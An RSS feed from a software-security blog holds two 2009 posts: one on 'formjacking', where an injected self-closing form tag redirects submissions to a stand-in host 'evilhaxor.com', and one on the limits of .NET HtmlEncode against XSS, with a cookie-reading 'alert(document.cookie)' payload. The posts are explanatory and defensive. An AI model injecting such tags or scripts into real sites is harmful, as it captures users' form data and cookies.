<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Friese &#187; xss</title>
	<atom:link href="http://ericfriese.com/tag/xss/feed/" rel="self" type="application/rss+xml" />
	<link>http://ericfriese.com</link>
	<description>Software Security and Other Stuff</description>
	<lastBuildDate>Fri, 23 Mar 2012 20:44:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Formjacking</title>
		<link>http://ericfriese.com/2009/05/13/formjacking/</link>
		<comments>http://ericfriese.com/2009/05/13/formjacking/#comments</comments>
		<pubDate>Wed, 13 May 2009 21:32:35 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[software security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://ericfriese.com/2009/05/13/formjacking/</guid>
		<description><![CDATA[Just read a cool post over at omg.wtf.bbq about a new attack called “formjacking”. Not sure about the attack name, but this is pretty neat. In FireFox 3 and IE7, self contained XHTML tags provide a way to exploit a XSS vulnerability and alter the action associated with a form tag. I’ve tested this out [...]]]></description>
			<content:encoded><![CDATA[<p>Just read a cool post over at <a href="http://i8jesus.com/?p=48">omg.wtf.bbq</a> about a new attack called “formjacking”. Not sure about the attack name, but this is pretty neat. In FireFox 3 and IE7, self contained XHTML tags provide a way to exploit a XSS vulnerability and alter the action associated with a form tag. I’ve tested this out and it also works with Google Chrome, so the same goes for the other WebKit based browsers like Safari.</p>
<p>The gist is that if you can insert a self contained form tag, the browser will ignore the other form tags. Let’s say that you have the following code:</p>
<pre class="csharpcode"><span class="kwrd">&lt;</span><span class="html">form</span> <span class="attr">action</span><span class="kwrd">="good.php"</span> <span class="attr">method</span><span class="kwrd">="post"</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;</span><span class="html">input</span> <span class="attr">type</span><span class="kwrd">="text"</span> <span class="attr">name</span><span class="kwrd">="test"</span> <span class="attr">id</span><span class="kwrd">="test"</span><span class="kwrd">&gt;&lt;/</span><span class="html">input</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;</span><span class="html">input</span> <span class="attr">type</span><span class="kwrd">="Submit"</span> <span class="attr">value</span><span class="kwrd">="Submit"</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;/</span><span class="html">form</span><span class="kwrd">&gt;</span></pre>
<p><!-- .csharpcode, .csharpcode pre { 	font-size: small; 	color: black; 	font-family: consolas, "Courier New", courier, monospace; 	background-color: #ffffff; 	/*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { 	background-color: #f4f4f4; 	width: 100%; 	margin: 0em; } .csharpcode .lnum { color: #606060; } --></p>
<p>If you can insert a self enclosed form tag:</p>
<pre class="csharpcode"><span class="kwrd">&lt;</span><span class="html">form</span> <span class="attr">action</span><span class="kwrd">="http://evilhaxor.com/pwned"</span> <span class="attr">method</span><span class="kwrd">="post" /</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;</span><span class="html">form</span> <span class="attr">action</span><span class="kwrd">="good.php"</span> <span class="attr">method</span><span class="kwrd">="post"</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;</span><span class="html">input</span> <span class="attr">type</span><span class="kwrd">="text"</span> <span class="attr">name</span><span class="kwrd">="test"</span> <span class="attr">id</span><span class="kwrd">="test"</span><span class="kwrd">&gt;&lt;/</span><span class="html">input</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;</span><span class="html">input</span> <span class="attr">type</span><span class="kwrd">="Submit"</span> <span class="attr">value</span><span class="kwrd">="Submit"</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;/</span><span class="html">form</span><span class="kwrd">&gt;</span></pre>
<p><!-- .csharpcode, .csharpcode pre { 	font-size: small; 	color: black; 	font-family: consolas, "Courier New", courier, monospace; 	background-color: #ffffff; 	/*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { 	background-color: #f4f4f4; 	width: 100%; 	margin: 0em; } .csharpcode .lnum { color: #606060; } --></p>
<p>Notice the forward slash at the end of the tag? The second form tag will be ignored and the post data will be sent to the inserted action.</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2009/05/13/formjacking/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Fighting XSS in .NET</title>
		<link>http://ericfriese.com/2009/04/19/fighting-xss-in-net/</link>
		<comments>http://ericfriese.com/2009/04/19/fighting-xss-in-net/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 00:35:38 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[IT Security]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[software security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://ericfriese.com/?p=9</guid>
		<description><![CDATA[Cross Site Scripting (XSS) is listed as the top vulnerability on the OWASP Top 10 and one of the more dangerous vulnerabilities on the web. Because of the different ways to manipulate content, fighting XSS is a chore. For proof, check out the “XSS Cheat Sheet” at http://ha.ckers.org/xss.html. That list is still growing… The main [...]]]></description>
			<content:encoded><![CDATA[<p>Cross Site Scripting (XSS) is listed as the top vulnerability on the OWASP Top 10 and one of the more dangerous vulnerabilities on the web. Because of the different ways to manipulate content, fighting XSS is a chore. For proof, check out the “XSS Cheat Sheet” at <a href="http://ha.ckers.org/xss.html">http://ha.ckers.org/xss.html</a>. That list is still growing…</p>
<p>The main way to fight cross site scripting is encoding. If convert unsafe characters into their html counterparts,  then malicious code will not be executed. In .NET, the HttpUtility.HtmlEncode method converts some unsafe characters for you. This is a good way to cleanse content before it is interpreted by the browser, but it won’t stop all XSS vulnerabilities.</p>
<p>HtmlEncode uses “blacklisting” to block unsafe characters. Blacklisting will stop some attempts, but leaves room for other attacks to happen if the coder is not careful. HtmlEncode converts the following characters:</p>
<ul>
<li>&lt;</li>
<li>&gt;</li>
<li>&amp;</li>
<li>“</li>
<li>Characters with values 160-255</li>
</ul>
<p>This will block most, but what if you fall into a false sense of security and forget what HtmlEncode does? If you were to execute something like this:</p>
<p>&lt;input value=’&lt;%= HtmlEncode(thisAction&#8217;)’ %&gt; id=’btnExecute’&gt;</p>
<p>If thisAction equaled alert(document.cookie), then the attack would work. This approach doesn’t seem rational, but I&#8217;ve seen worse.</p>
<p>A better approach is to use whitelisting. If you escape everything except what needs to be there, then you decrease your threat surface substantially.</p>
]]></content:encoded>
			<wfw:commentRss>http://ericfriese.com/2009/04/19/fighting-xss-in-net/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using apc
Page Caching using apc

Served from: ericfriese.com @ 2012-05-20 20:13:34 -->
